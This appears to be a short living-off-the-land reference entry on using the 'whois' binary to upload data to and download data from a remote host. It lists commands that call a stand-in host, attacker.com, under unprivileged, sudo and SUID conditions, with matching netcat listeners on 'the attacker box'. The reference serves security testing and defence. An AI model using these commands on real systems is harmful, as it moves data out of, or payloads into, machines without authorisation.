Upload

This executable can upload local data.
  1. CommentData is converted to lower case, and has a trailing \r\n.
    This function can be performed by any unprivileged user.
    whois -h attacker.com -p 12345 DATA
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    whois -h attacker.com -p 12345 DATA
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    whois -h attacker.com -p 12345 DATA
    RemarksThe content is corrupted or otherwise altered by the process, thus it might not be suitable for handling arbitrary binary data.
    ReceiverA TCP server can be used on the attacker box to receive the data.
    nc -l -p 12345 >/path/to/output-file

Download

This executable can download remote data.
  1. CommentReceived data has instances of the \r byte stripped.
    This function can be performed by any unprivileged user.
    whois -h attacker.com -p 12345 x
    This function is performed by the privileged user if executed via sudo because the acquired privileges are not dropped.
    RemarksIf there are environment variables involved, they must be passed via sudo VAR=value ... or exported then sudo -E ....
    whois -h attacker.com -p 12345 x
    This function is performed by the privileged user if the executable has the SUID bit set and the right ownership because the effective privileges are not dropped.
    whois -h attacker.com -p 12345 x
    SenderA TCP server can be used on the attacker box to send the data.
    nc -l -p 12345 </path/to/input-file